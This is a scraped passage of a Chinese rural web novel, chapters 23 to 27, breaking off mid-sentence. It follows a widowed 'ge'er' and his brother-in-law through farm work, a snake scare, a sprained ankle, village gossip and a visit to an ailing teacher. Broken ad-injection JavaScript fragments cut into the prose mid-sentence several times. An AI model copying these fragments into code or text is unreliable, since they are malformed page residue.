“我帮你。”姜宁皱了下眉,就因为他是哥儿,所以得保持距离这种想法。 况且,住都住一个院子了,真要那么介意,连住都不该住一块。 卫长昀错愕地看姜宁,一时说不出话来。 姜宁看他表情,立即明白他在想什么,琢磨了下,决定和卫长昀好好谈一谈。 上一次他俩谈的还是家底的事,但这次是私事。 不然总这样介意,那他俩谁受伤了、哪不舒服了,总不能要麻烦朱氏和两小的吧。 “我有话要和你说。”姜宁是个藏不住话的人,有事就得解决。 卫长昀迟疑了下,点头让开,让姜宁进了屋。 姜宁嗅到跌打酒的味,重新拿了桌上干净的棉布,沾了药酒,“你坐着,我好给你揉。” 卫长昀依言坐下,露出肩膀上的伤。 去坎子村那回,姜大志那一棍打下来,他肩膀疼了好些天,前两日才好点。 今天去抓鱼,不小心又抻着了,这才上药。 姜宁站在他旁边,垂眼扫过那道淤青,都过去七八日了,还没完全消下去。 他拿着棉布按在淤青上,用手心打着圈揉。 “我知道我是个哥儿,在你们看来,和男子不一样,尤其是私下相处,得保持距离。” 姜宁缓缓开口,“可这些时日相处下来,你觉得有必要保持距离吗?” “我……” “你如果是为了我的名声着想,那也不必。难道你跟我不见面、不说话、不亲近,那些人就不说了?” 村子里是最能生是非话的地方,尤其是封闭的地方,越封闭越能传。 不说跟异性走得近不近,就说换了件漂亮的衣服,都能传出七八个版本来。 不外乎都是“性”那点东西。 卫长昀一时语塞,反驳不了姜宁的话。 “傻子,从你大哥走了的那日,该说的都说了一遍,再编也编不出什么花来。”姜宁感觉到手心热了,打着圈往外揉。 “长昀,我是你嫂嫂没错。但我也是个男子,哪怕是个哥儿,我同你并无什么差别,要说,小小除了性别与你不一样,别的都该一样。” 姜宁不清楚卫长昀能不能理解他的意思,他只是想,不要因为担心闲话,就和自家人生分了。 “那天姜大志打了你,你伤了也不跟我说,自个硬撑,要不是我今日发现,你就打算自己一个人处理?” 姜宁见他不说话,笑了笑,“或者以后受伤,你就让小宝给你包扎、换药?” 这时,卫长昀才说了第一句话。 “不是。” “心里别扭是吗?”姜宁叹了口气,“你把我当成你兄长不就好了,本来也是。” 说完,姜宁无奈笑了笑。 好像是不太行,根深蒂固的思想,一时难以改过来。 卫长昀听他笑了,不知怎么,心里一松,刚才还绷着的背,这会儿也松弛了些。 “是有些别扭。” 姜宁听他还真这么说,在淤青伤按 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,“你可真别扭。” 他一直性格开朗,就算心细,也不是别扭的人,更别说和卫长昀这样少年老成的闷葫芦相处。 卫长昀吃痛地低呼一声,解释道:“往后我会改。” “那行,明天我和你一块去地里浇水。”姜宁往手心又倒了些酒,干脆不用棉布了,直接上手。 “顺便去山上转一圈。” 卫长昀忍着疼,心想姜宁这手劲儿真不小。 上完药,姜宁擦了擦手,低头闻了下,决定一会儿去洗个手。 “谢谢嫂嫂。”卫长昀一边系衣服,一边道:“可是有什么想找的?” “也不是,就随便转转,看看能不能发现什么新的东西。”姜宁伸个懒腰,瞥到桌上的纸和笔,心念一动,“你会玩五子连吗?” 卫长昀问道:“是黑白棋吗?横纵共十七路,五子相连即为胜。” “对对对,就这个。”姜宁眼睛一亮,“我想用木头做一副来玩,也可以让小小、小宝他们玩,不然一天无聊。” 卫长昀已经穿好了衣服,起初那点跟姜宁单独在一个屋里的不自在,早在不知不觉中消失了。 “明天就可以做,做起来简单。” “不着急,我就是突然想到了。”姜宁打了个哈欠,“那我出去了,你这肩今晚别压着,不然又得痛好几天。” “我记下了。”卫长昀应声。 姜宁径自出了门,忽地回头,对上卫长昀的目光,神色柔和道:“我可不爱讲道理,所以今日的话,你得听进心里。” 要卫长昀还这样瞒着他,一个人硬撑,不拿他当一个正常男子看,他往后自会给卫长昀安排好一条路,不必硬在一个屋檐下住。 这样大家都自在些。 实在不行,攒的钱先拿去给卫长昀上学,这样两三个月见一次,就好了。 “我明白。”卫长昀答得认真,“我只是怕那些话传到你耳中,你心中不悦。” 那些话,卫长昀听到过的。 打从他回到村子这段时间,只要他去地里,或者去河边,多少都能听到一些。 那些人说,姜宁长得漂亮,和他大哥才成亲就成了寡夫郎,必定耐不住寂寞,否则王栓怎么会缠上他。 又说叔嫂同住一个屋檐下,还一块去赶集,谁知道揣的什么心思。 话很难听,都是些粗俗的词。 姜宁挑了下眉,“那你和我相处了这么久,觉得我会是介意的人吗?” 卫长昀沉吟片刻,而后摇头。 “这不就结了,我不在意,你也不用在意。”姜宁冲他一笑,“日子是什么样,只有自己过才知道。” 旁人说得再多,那也不能替你过。 好的坏的,不都是自己的。 卫长昀眼神微暗,随后点了点头,吸气时胸膛微微起伏,“长昀,受教了。” 姜宁微眯起眼,打量起眼前的卫长昀。 少年身量挺拔,又有读书天分,虽有些老成,可不自傲、不自负,已是难得了。 “好了,早些休息,晚安。”姜宁笑容温柔,说完转身离开。 他想,这下应该说通了吧。 做兄弟。 24.第 24 章 翌日一早,姜宁和卫长昀吃了早饭,趁着日头不晒,打算先去地里给土浇水。 要是有时间,还能把豆苗和辣椒苗先种点下去。 朱氏拴着围裙在厨房里收拾,见他俩背着东西出去,钻出来叮嘱他俩当心,别太累着。 姜宁一边答应一边往外走,还伸手扒拉背篓里的镰刀,“我带了俩水罐,还有阿娘做的玉米窝头,一会儿饿了可以吃。” 农村在地里干活,都习惯带着吃的、喝的,方便饿的时候有东西吃。 毕竟干的都是体力活,消耗大。 卫长昀调了下扁担的位置,挂上两只桶,“等会儿到槐树那儿,我直接去河里挑水,你先去地里。” 姜宁“啊”了声,道:“行,我正好去看瓜藤牵起来了没,都好些天了。” 南瓜藤长得快,要长出来了,就得先把藤牵好,不然后面瓜都长歪了。 卫长昀看眼他背上的背篓,“沉不沉?” 姜宁晃了晃背篓,“才两把镰刀跟罐子,一点不沉,我又不是病秧子,这都拿不了。” 卫长昀还想再说什么,倏然想起昨晚姜宁的话,只点了点头。 从家里到地里,一炷香都要不了。 他俩在槐树下边分开,一个沿着路去河里挑水,一个拐弯先去地里。 姜宁扯了扯背篓的绳子,觉得勒肩膀。 幸好路不远,不然肩膀都要被磨破,也不知道每次卫长昀怎么忍下来。 几十斤在背篓里,想都知道有多勒人。 “宁哥儿,来地干活啊?” “你阿娘这几日好些了吧?” “你家这地里种的什么?忙得过来吗?就俩人。” 姜宁人长得好看,最近在村里走动时,说话又客客气气的,一笑起来,招人喜欢。 一个村的,平时抬头不见低头见,大家伙也都不愿意结仇。 这会儿看见姜宁一个人背着背篓来地里,抬起头来跟他唠两句,也没别的心思,村子里都这样。 地里的活日复一日都一个样,做着无聊,喜欢跟人闲侃,好打发时间。 姜宁挨个答应,等到地里时,抿了抿唇,觉得口渴。 “宁哥儿,你这玉米可不能老浇水,容易淹死。” 旁边是杨二爷家的地,这会儿杨二爷的儿子儿媳正在心里分苗,分完了才开始种。 “知道的婶子,就今天过来看看,要不要补点种,顺便浇水,这不好些天没下雨了。”姜宁一边放下东西一边说:“对了,上次我给阿娘请大夫,陈大夫说二爷病了,可好些了?” 杨言德摆手,旁边张秀云道:“没呢,不过好多了。人年纪大,病好得慢。” “啊,那要再不好,过些天去镇上寻大夫看看,多问问总是好的。”姜宁对杨二爷记着恩,不免多说了几句。 来这儿的第一天,要不是杨二爷来了,他就算再厉害,也赶不走王栓那一帮人。 就算赶走了,怕是也要吃亏。 杨二爷一把年纪了,为人公正、明辨是非,他是尊重的。 “晓得,过几天不好,就去镇上瞧瞧。” 姜宁“哎”了一声,沿着挖出来的沟,边走边弯腰检查前些天种下去的玉米跟土豆。 土豆简单,发芽的块往土里一埋,露出点芽头就成,基本都是活芽,死不了。 玉米不一样,一粒粒地埋在小土窝里,一窝三四颗,有的可能全死。 这就得补种,不然补完了,后边不好一块打理。 姜宁还没检查完,旁边土坎上就传来说话声,他回头看了眼,是卫长昀挑水来了,杨言德两口子正跟他说话。 卫长昀肩膀一矮,两只桶稳稳当当放在地上。 “这些应该够浇了。”卫长昀把扁担放在一边靠着,“要补种吗?” “要,有几窝看着一点芽都没发,往里再补几颗。”姜宁直起腰,手撑在腰侧,“南瓜藤牵得还挺好的。” “那就好。”卫长昀从背篓里拿了瓢,拎着桶,沿着土沟一窝一窝地浇水。 姜宁看他在浇水,就干脆先去拿玉米粒,先去把死了的几窝补上。 “一会儿回家,得看看我们俩的秧苗发好了没。” 种水稻不能直接撒种,得先育苗。 之前算着时间,还有最近的温度,他们在上次赶集前就先把秧苗发着了,怕冻着发不起来,还放在堂屋里,这样勉强算个恒温。 “今早出门我看了眼,已经发了,不过还得等个三四天才能下田插秧。” 卫长昀接过话,“这会儿还早,等会儿去山里转转?” “嗯,看看有没有新收获。” 姜宁还惦记着那些野果,挖回来移栽肯定不现实,树苗到结果能吃,起码得三到五年。 他就是想踩好点,算着季节可以去摘点。 吃是一方面,另一方面可以看看能不能牟利。 他俩一个浇水一个补种,不到一个时辰就忙完了这边的活,毕竟就一块地。 “婶子,你们还差多少,要帮忙吗?”姜宁叉腰站在地里,往旁边的地看去。 张秀云摇摇头,笑道:“就一点苗,快分完了,你们那地里的后边也记得分,不然生得太密,后边长不好。” 姜宁点点头,“晓得的,过几天来看,要长得密就分。” 种地的事,姜宁其实并没有多少实操经验,毕竟年纪小,等他能干活的时候,家里条件都好了。 但没吃过猪肉还没见过猪跑吗? 他爸妈、哥姐干活的时候,都会带着他一起,他也喜欢去地里帮忙摘菜。 “东西先放着,一会儿回来了拿。”卫长昀眼里和手里都有活,等姜宁跟杨言德、张秀云说完,手里已经把背篓拿上。 “叔、婶,有事叫我。”卫长昀小时候在杨二爷那儿上学,跟他家都熟,偶尔还会在他家里待一阵,等爹娘和大哥来接。 “你们忙自己的去,就这点活,干完就回去了。”杨言德道:“倒是真有事儿,你得空了,去家一趟,老爷子念叨你呢,还不放心那几个送来上学的娃,怕耽误耽误了课。” “老师的病还没好?”卫长昀一愣,微微皱起眉问道。 前几日他去陈大夫那里拿药的时候,去看望过杨二爷,看着是好了些。 “年纪大了,反反复复的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,没好全。”杨言德摇了摇头,“过两天不好,就去镇上看看。” 卫长昀对杨二爷不止敬重,更当他是一位亲近的长辈。 “等会儿从山里下来,我就过去,反正没多远。” 姜宁在一旁听了,琢磨着要不要这会儿就去,山里什么时候都能去,不急一时。 他话还没说,卫长昀已经看了过来。 “从这条道走,好走些。”卫长昀把背篓往后一甩,单手拿着镰刀。 姜宁略有诧异地看他,而后一笑,“好。” 他们不是大夫,这会儿过去也帮不上什么忙,更别说这个时辰,估摸也在休息。 - 在村里爬山跟出去旅游爬山是不一样的,没台阶、没石板,就是一条土路,还是人给踩出来的。 一段时间没人走,不宽的路很快就会被草和灌木淹没。 卫长昀走在前面拿镰刀开路,姜宁跟在后面,就这样姜宁腿好胳膊还时不时被树枝撩到。 “二爷是什么病?感冒还是发热?”姜宁知道卫长昀心里装着事,问他,“年纪大了,要是哪儿不舒服,得早点去看。” “说是咳嗽,一直咳,也没什么精神,不太吃得下东西。”卫长昀回过身,看眼姜宁不知道往哪抓的手,边握住他手腕,边解释,“陈大夫看过了,说是风温肺热。” 风温肺热? 听着跟朱氏前一阵有些像,但症状却不同。 朱氏那是感冒发烧,那杨二爷这个一直咳嗽,难不成是肺部炎症? 姜宁借着卫长昀的力,上了一个坎,“这病是好得慢些,得慢慢补,你别太担心。” 卫长昀“嗯”了一声,拨开前边的树枝,拉着让姜宁先过去,“小心。” 西南这地界,有村子的地方,树都不是那种北方的参天大树,生得也不笔直,而且多不规则。 不高,但密。 而且很多带刺儿的树枝,撩人身上就能刮起一道血痕。 姜宁走得小心,一边走一边张望,“嗳,你看这个,是昨天的三月泡。” 他伸手小心捏着树枝,避开上面的刺,随手摘了一颗塞到嘴里,酸酸甜甜的,特别可口。 干了半天活,喝水、吃窝头,到底不如这种有味的野果子来得诱人。 尤其姜宁特别喜欢吃酸甜口的水果,除了家里的番薯,好一阵没碰了。 他又摘了几颗往后递过去,“你也尝尝。” 卫长昀看着近在咫尺的手心,上面摊着几颗野果,小小的,他伸手想捏,但又是土又是汗,手停了下。 姜宁看他半天没动静,转过头来,一下就明白他那点爱干净的心思,忍不住笑。 “你就低头就着我受吃了呗,我手不脏。” 卫长昀:“……” 迎着姜宁的目光,他低下头,用嘴唇抿走几颗果子。 “要是有野樱桃和野杨梅就好,买不着什么水果,山上摘的也行。” 姜宁眼睫轻轻眨了眨,心想维生素可是很重要的,老少得都补。 只是不知道为什么,手心被碰到时有点痒痒的,若无其事缩回手念叨,又往前走了。 25.第 25 章 未经开发的山里,野货遍地都是。 姜宁和卫长昀一路走一路找,还真发现了野生的樱桃和杨梅。樱桃花好辨认,白色的花瓣,比观赏樱花的瓣儿要大。 杨梅树就只能凭叶子和树形辨认了,还没到结果的季节。 而且不知道是不是野生的原因,比姜宁见过的树形小。 “这树的果子很酸。”卫长昀拿着镰刀,弯腰把树周围的草清了,“只是看着红。” 姜宁正在摘蕨菜,听完道:“山杨梅就是酸,要是人工培育的会甜一些,不过咱们想培育,三五年都不一定养得好。” 种地他还能勉强凑合,嫁接就真的不行了。 况且这种专业的嫁接技术,都是要有品种培育好了,再嫁接的,他上哪里去找甜的品种。 “柿子可以吃。”卫长昀直起腰,抱起一堆清掉的草和树枝往远了扔,“杏早一点。” 姜宁把蕨菜理成一把放进背篼,里边还有好些野菜、茶片跟桑葚。 他在最下边垫了几片叶子,免得下山被颠坏了。 “再过两个多月,杏就能吃了。”姜宁用手背擦了擦汗,抬头看天,“走吧,先下山。” 这日头看着,都快晌午了。 天一热,山里头更热,还闷。 山里一闷,最容易碰到蛇虫鼠蚁,还是尽早下山好。 卫长昀拍拍身前的草屑,自然把背篓拎起,“嗯。” 下山的路比上山还不好走,羊肠小道走起来,一个不小心就能顺着坡往下滑。 姜宁镰刀都没敢拿手上,倒不是娇气,是怕一会儿他不小心栽了,伤人伤己。 “我先下去,你别动。”卫长昀看着前面的坎,往旁边的石头踩去,踩实了才敢动另一只脚。 姜宁一听他叫自己别动,立即站好。 开玩笑,从这种坡上摔下去,身上多半不剩一块好皮,能刮毁容。 “你慢点。”姜宁叮嘱一句,伸手去抓树枝,这样能站得稳一点。 手比眼快,抓住了才看过去。 有点软,还凉凉的。 是个什么——?! 卫长昀“嗯”了声,几步走到下边,才转身伸手去接姜宁,就听到一声尖叫,姜宁直接踩滑,从坡坎上摔下来。 “姜宁!” 姜宁看到自己手抓住蛇的那瞬间,心都是颤的,手也抖了,还勉强能保持镇定,飞快松开手,往后退。 结果就是顾头不顾尾,忘了站在坡坎上,脚底一个踩空,直接往后摔下去。 卫长昀几乎是条件反射的,上前抓住姜宁胳膊,另一只手去搂他的肩。 所有反应就在一瞬间,等接住人,才听到姜宁一声痛呼。 “有蛇,先走。”姜宁疼得脸都红了,抓着卫长昀胳膊,单脚站起来,“绿色的一般都有毒。” 卫长昀迅速抬眼,一条绿色的蛇缠在树枝上,遍体没有花纹,正对着他俩吐信子。 这是绿瘦蛇,有毒。 卫长昀拉着姜宁胳膊,绕到自己静候,一手拎着背篓,一手搂着他往山下走。 树林里草木葱郁,他俩并排走过,枝叶擦过衣服,发出唰唰唰的声音。 原本就静谧的环境,加上他们的呼吸和心跳,显得更为诡秘。 姜宁疼得一脑门汗,又不敢停下来,一想到刚才抓到蛇那瞬间的触感,只想赶快下山。 走了好一段,卫长昀回头看了眼,发现已经快到耕地,视野开阔不少,才扶着姜宁坐下。 “扭到脚了?”卫长昀把背篓放在一边,蹲在姜宁面前,“还是蛇咬到哪里?” 他声音没了平时的稳,仔细听能听出紧张。 姜宁坐在石头上,弯腰伸手把裤腿撩起来,脚踝已经明显肿了起来。 “没被咬,是踩空崴了。” 卫长昀扫他一眼,目光从他额头移到鼻尖,“这里回村不远,一炷香都要不了。” 姜宁抬眼,“啊”了一声,“什么?” “我背你。”卫长昀转过身蹲下,“家里有跌打酒。” 姜宁反应过来,看着他的背,又看了看远处的村子,“还好我不沉。” 说完就趴了上去,胳膊环着他脖子,“辛苦你了。” 姜宁不会在这件事上犟,他脚腕现在肿老高,绝对是崴厉害了,不然以他的经验,根本不可能这么快又红又肿。 卫长昀不意外姜宁的反应,托着人站起来,又把背篓挂在前边。 姜宁伸手,替他把着镰刀柄,免得往他脸上和肩上磕,“一想到刚才抓过蛇,我都不想拿手碰自己。” 卫长昀低笑一声,往耕地间的土路上走,这样要更稳些,“没被咬已是幸运。” 姜宁一想也是,那蛇就算不是剧毒,被咬一口也够呛。 叹了口气,下巴抵在卫长昀肩上。 才走了一段路,刚到家里的地旁边,姜宁疼得手心都出了一层汗。 不知道是不是跑下山那会儿,给刺激到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,充血导致更肿,一阵一阵地疼。 “快到家了。”卫长昀偏过头,皱了皱眉道:“嫂嫂,我们直接去陈大夫那里。” 姜宁用额头抵在他肩上,轻轻摇头,“不用,只是崴着脚。” 卫长昀眉头皱得更紧,“那日嫂嫂不是才跟婶子说,病了就得看,不能讳疾忌医。” 姜宁听他拿自己说过的话教育自己,磨了磨后牙尖,“去陈大夫家,太远。” 陈大夫家住在村头,从他们这儿过去,起码得再走小一炷香,不如回家拿凉水冷敷。 在学校里打球的时候,崴了都这样。 卫长昀抿了下唇,把他往上托了点,闷声道:“好。” 真是小孩脾气。 姜宁稍微缓过来一点,解释道:“我不是在强撑,不然也不会让你背我回来,只是扭伤去大夫那儿,跟自己在家是一样的。” “要是伤到了骨头,我肯定直接去陈大夫那儿。” 卫长昀听他说着,心里那一股郁闷散了不少,出声答应他,脚下步子又快了些。 姜宁忍不住笑,心想哄小孩也挺简单的。 “哎哟,这是谁啊,哪家小两口这么黏糊啊,还——” “哦哟哟,原来是卫家二郎和小嫂子啊,看岔眼了,刚才的话别介意啊。” 王栓娘跟三四个差不多年纪的妇人、哥儿坐在地里休息,一看到他俩,眼睛直直瞟了过来。 “就没见过谁家小叔子背嫂子的,不像话。” “一看就是家里教不好。” “男人才死了多久,就急着勾搭人,我看你家王栓干脆娶了吧,好歹模样还俊。” 姜宁听到前一句的时候,已经抬头顺着声音看去,等到后一句从王栓娘嘴巴里说出来,心里升起一股平静的疯感。 呵,又来了。 寡妇门前是非多,尤其是好看的。 在他看来,这何止是门前,站着不动,关在家里啥也不做,也都能成为村情八卦中心的焦点。 “我能介意什么啊,家里关系好是这样的。”姜宁翻个白眼,阴阳怪气道:“不像有的人,生个废物、夫君懒惰,自己是家里伺候外边下地,管着吃喝拉撒、衣食住行,恨不得连尿盆都端了,心里还挺美的。” 一个愿打一个愿挨,还真外人不知其中滋味。 姜宁别开头,懒得看他们骂骂咧咧。 这种滋味,谁爱要谁要,他反正不要。 只想尊重个人命运。 26.第 26 章 姜宁自认为是个脾气挺好的人,不爱吵架,也不争什么高低,长这么大跟人红脸的时候都不多。 可现在,他疼得一脑门汗,还有撞枪口上,他脾气再好也忍不住回嘴。 脸都伸过来了,他打一巴掌怎么了? “哎!你怎么说话的?这里都是你婶子、伯娘,你一个晚辈,说话这么难听,你阿爹阿娘到底怎么教的?” “是了是了,小小年纪,没了男人也不能忘了礼法,咱们小河村虽然是乡下,但这些道理还是懂的,我们这是在教你,免得你走错路。” “你一个哥儿,哪怕寡了,也得和你家小叔子保持距离,不然要给人家说闲话的。” 姜宁偏过头,理都不想理,“那我谢谢你们,不过这些道理还是留着教家里那些人吧。” “宁哥儿,你这话就不对了,哪来这么大的脾气?”王栓娘旁边坐着的妇人站起来,叉腰指着姜宁,“你看全村上下,谁家跟你们一样,嫂子跟小叔子天天同进同出,还一块上集,谁知道——” 后边的话说得小声,还说得快,但在场的谁都听见了。 说的是“谁知道你们私下里干了些什么腌臜事”。 脚踝那儿的疼又上来了,姜宁捏了捏手里的镰刀柄,心里的火“腾”窜上来,扭头正准备说这几人倚老卖老,就听耳边响起卫长昀的声音。 “倚老卖老,是为不尊,是为贼。”卫长昀声音不大,却沉稳有力,稍微侧过身,看向地里几人,“卫家的事,从前不劳几位婶娘操心,现在一样。” 丢下这句话,卫长昀回过头,背着姜宁朝家里走。 听到姜宁吸气的声音,放慢了步子,“疼得厉害?” 姜宁摇头,笑着说:“你刚才那几句话可真厉害,他们几个脸色一下就难看了。” 卫长昀“嗯”了声,目光看向前面的路,“身正不怕影子斜,我与嫂嫂是一家人,自当相互扶持,方能让日子过得长久,只是……” “那些话,嫂嫂莫要放在心上。” 他停顿了一下,似乎在想什么事,没等姜宁开口问,他道:“嫂嫂是这世上难得的真心人。” 姜宁愣了下,低笑了声,“夸我呢?” “嗯。”卫长昀坦荡道:“你与大哥成亲不过一日,却要因此受到旁人非议,还要和我一起养家,若非心善,大可以不管不顾,离开卫家或是真如他们所说,凭着样貌改嫁。” “就因为这个,你觉得我好?”姜宁发现卫长昀还挺单纯,不是那种不知人间疾苦的天真,是穷人家孩子早当家后,对人的善恶判断还这么简单。 卫长昀知道姜宁的意思,爬上路坎,“不只因为这个,还因为这段时日的相处。” 装出来的好,可以装一时,但不能长久,总会露出破绽。 可姜宁没有。 对小小、小宝好,对朱氏好,对杨二爷敬重,对赵秋真诚,这些都是装不出来的。 “那我就受着了。”姜宁忍着疼说了句。 姜宁抬头看了眼不远处的院子,想到什么,道:“等会儿到家,你就放我下来,免得我娘看了担心。” 卫长昀没答应,只问:“自己能走吗?” 姜宁点头,“能走,就几步路。” 这下卫长昀没再问,走到院子门口就把他放了下来,一手拎着背篼,一手扶着他胳膊,俩人一块往家里走。 朱氏正领着两个孩子在院子里剥豆子,准备晚上炒青椒毛豆吃,再烩一个土豆汤,凉拌菜叶。 “回来了——”朱氏听见声,边抬头边说,看见姜宁被扶着进来,连忙把手里的菜篮子放下,“宁哥儿,这是怎么了?” 姜宁摆手,挤出一个笑,“就在地里崴了下,休息会儿就好。” 朱氏担忧地伸手扶他,让卫长昀得空去放东西,“真不严重吗?” “我骗您做什么,就是扭了一下,明天就能好。”姜宁不敢真用脚碰地,虚虚地踩着,挪到桌旁坐下。 朱氏看他自己能走,稍稍放了心。 “那你俩休息,别忙活了,等着一会儿就能吃饭。” 姜宁看她进厨房了,虚虚松了口气,示意卫长昀把自己扶到屋里。 两小孩扒在门边,眼睛一眨不眨地看姜宁,“宁哥哥,你怎么了?是不是很痛啊。” 姜宁朝他们笑笑,“不痛,你们别 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 担心,去玩吧。” 小孩好打发,看姜宁还在笑,就乖乖出去了。 卫长昀看他一眼,出去了一会儿,等姜宁脱掉鞋袜时,拿着跌打酒敲了门,见姜宁点了头才进屋。 “肿这么高,不知道赶集前能不能好。”姜宁扶着膝盖,试着轻轻动了下脚,立即疼得吸口气。 卫长昀站在他对面,道:“得揉开。” 姜宁抬了下头,看他站着不动,失笑道:“我使不上力,得你帮我了。” 他俩倒是真难兄难弟,先是卫长昀挨了姜大志一棍,现在是他崴了脚。 别的不说,这跌打酒倒是一点不浪费。 “下回家里多放点跌打酒吧,保证没过期那天。”姜宁看他找了一张小凳子坐下,开玩笑说:“我俩这战损体质,迟早能用上。” 姜宁说话的词儿有些奇怪,卫长昀不是全能理解,但听明白了意思。 坐下后,卫长昀打开瓶塞,往手心倒了跌打酒,一边搓热手心一边道:“如果是这样,用不上才好。” 姜宁看他一脸严肃,撇撇嘴,“开玩笑呢,你当真了?” 卫长昀:“我……” 姜宁立即打断他的话,“你可别内疚,我崴脚是自己不小心,跟你没关心。” 卫长昀抬眼看他,又低头,小心伸手覆在肿起的脚踝上,“可能会很疼。” 姜宁“嗯”了声,不自觉捏紧了裤腿,还没等他嘴硬说没事,一股钻心的疼沿着脚踝爬上来,疼得他猛地咬住下唇。 卫长昀低着头,没注意到姜宁表情,手上力道没减,心思单纯得很,在想肿这么高,得用力才能揉开,不然好得慢。 过了好一会儿,卫长昀没听到姜宁说话,才抬头,“嫂嫂,疼不疼?” 看见姜宁表情的一瞬间,手上力道一下松了。 姜宁疼得眼泪都在眼眶打转,听到他声音,狠狠瞪了他一下。 “你说疼不疼?” 卫长昀:“……” “我、我不是有意的,那我轻点。” 他俩顾着说话,没注意到门口的朱氏抬起又放下的手,更没看到她离开时略显仓惶的身影。 27.第 27 章 疼归疼,但脚踝的淤血肿胀被揉开了,痛感瞬间轻了不少,至少不会疼出一脑门汗。 姜宁脑子都是糊的,放下裤腿后,抬眼看向正在收拾的卫长昀,长长呼出一口气,往被子里一躺。 “我眯会儿,你也歇会儿去吧。” 这一天又是下地又是上山,还从蛇口脱险,一通折腾,累得够呛的,休息够了才有力气干活。 卫长昀没答应,把东西收拾好,目不斜视盯着床边的椅子,“赶集要用的竹筒还没砍,我一会儿去看完老师,顺道砍回来。” 姜宁没完全躺实,毕竟身上衣服还脏呢。 “那你看着办,我是不行了,得躺会儿。” 闻言卫长昀难得笑出了声,抬脚往屋外走,“那嫂嫂休息吧,我不打扰了。” 姜宁“嗯”了声,抬起胳膊挡在眼睛上,在晌午后的阳光里昏昏欲睡。 卫长昀走出屋子,顺手把门给关拢。 小小正在给手里的布娃娃扎小辫,这几天她可喜欢这个布娃娃了,睡觉都不离手,说是婶婶给她做的,哥哥没有。 “二哥,你又要出去吗?”小小看见卫长昀去拿柴刀,连忙问:“婶婶说过会儿就可以吃饭了。” 朱氏听见声,也走了出来,看了看卫长昀,“二郎,要不了半个时辰就吃饭了,你这要去哪?” 卫长昀解释道:“去杨二爷家看望他,顺道砍些竹子回来,做竹筒用。” 朱氏点头,让他小心些,就转身进了厨房。 卫长昀看小小在那儿玩布娃娃,小宝在鸡圈旁边拿着菜叶子喂小鸡崽,放轻声音叮嘱,“不要吵到嫂嫂睡觉,知道吗?” 小小和小宝点点头,乖巧答应。 日头还没落,但已经没了热意。卫长昀怕耽误晚饭的时辰,拿着砍刀往院子外走,想着早去早回。 - 这个时辰,村里大多数人家都在准备晚饭,家家院子里都飘出饭菜的香味。 小孩们在院子里玩闹、大人们在厨房里忙,不管事的就坐在树底下休息,还有空插嘴指挥这儿指挥那儿的。 卫长昀走到杨二爷家,还没出声,院子里的张秀云就看到他了。 “长昀?来看老爷子啊。”张秀云手里端着碗,“正做饭呢,老爷子醒着,你自个进屋里去看他。” 卫长昀喊了声婶子,这才进了院子。 他小时候经常来这儿,自然清楚杨二爷住哪个屋。 走到门口,抬手敲了下半掩着的门,“老师,是我。” 他话音刚落,杨二爷就在里头答应了。 “长昀?进来吧。” “是,老师。” 卫长昀走到屋里,原本坐在床边的杨修远看到他进来,立即起身,“长昀哥。” “嗯。”卫长昀朝他点头,走到床边坐下,望着靠在床头的杨二爷,“老师的病,可好些了?还有哪了不舒服?” 杨二爷拍拍他手,笑道:“你叔婶小题大做,就是一直咳嗽,身上也没什么不好。” 卫长昀绷着嘴角,瞥向旁边的药碗,又看向屋里的柜子,里边都是书,桌上放的是手稿和笔墨。 “不管大病小病,都得听大夫的话,好好休息。” “你小子,还管起我来了?”杨二爷摇了摇头,“你从镇上私塾退学的事,我还未问过你,既然你来了,那就跟我说吧,你当真不愿意上学了?” 旁边杨修远一愣,连忙退了出去。 镇上只有一所私塾,开私塾的先生虽不是永安镇的人,却和杨二爷年轻时就认识。 当初卫长昀能去那儿上学,也是杨二爷写信推荐。 如今卫长昀是童生身份,可以参加院试,院试若是能中秀才,那就是十里八乡难得的了。 “大哥病故,小小和小宝年纪还小,我不能把他们丢给——”卫长昀犹豫了一下,才接着说:“姜宁与我大哥成亲,本是父母强逼,他过来我家,什么都不知道,也未享受过什么,便要担负起一家的生计,于情于理都不该。” “可是明年就是院试和乡试的日子,你退学后,如何科考?”杨二爷想起姜宁,叹了口气,“读书之事,勤为先,你一日不读,就落下旁人一日,再好的天赋,也要辜负了。” “老师放心,我并未放下读书之事。”卫长昀拿起茶壶,重新给他倒了一杯水,“学堂的事,老师也不必担心,学生代老师前去就是,一月不过六堂课。” 杨二爷一怔,“这如何使得,你忙得过来?” 卫长昀道:“忙得过来,家中的农活不止我能做,嫂嫂是个勤快人,又心思活络,帮了许多。” 说完后,又想起什么,“他母亲前些日子病了,姜家待她刻薄,已经接到家里养好病,小小和小宝也有人照顾。” 他说话并不快,每个字都说得清楚。 只是相较以往,他这一番话已是说得多的,难得会说这么多话。 “你如今倒是长大了许多。”杨二爷没再推辞,因为卫长昀和他教过的其他学生不一样,更亲近些,自然不会客气。 “老师专心养病,其他的事不必担忧。”卫长昀宽慰道:“明年科考院试和乡试,我会好好备试。” 院试和乡试挨得近,中间只间隔两个月的时间。 好在院试在七月,他还有一年多的时间备试。 卫长昀在杨二爷家里待了一炷香才离开,去砍竹子时,还碰到了王三叔和王三婶,两口子才从地里回来。 “三叔、三婶。”卫长昀被两人叫住,停下来,客气地叫人。 宋乔拎着菜篮,旁边王越背了一捆柴。 “上次你跟宁哥儿买回去的鸡苗,都养活了吧?” “都活了,还好没下大雨,不然还真怕活不了。”卫长昀道:“按照您说的,拿回去的头几天,都是放在房檐下养的,也给围了一圈稻草。” 宋乔听都养活了,点点头,“买走的时候太小,不好养活,容易死,都养活就好。现在有一个多月大,就好养了。” 卫长昀看眼日头,收回视线道:“改天要是再想买鸭子,再上您家里去。” “行。”王越紧了紧背上的柴,“你快归家去吧,别一会儿让宁哥儿他们等你吃饭,我们也回了。” 卫长昀:“好,叔婶慢走。” 回家的一路上,村里那些长辈看见卫长昀经 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 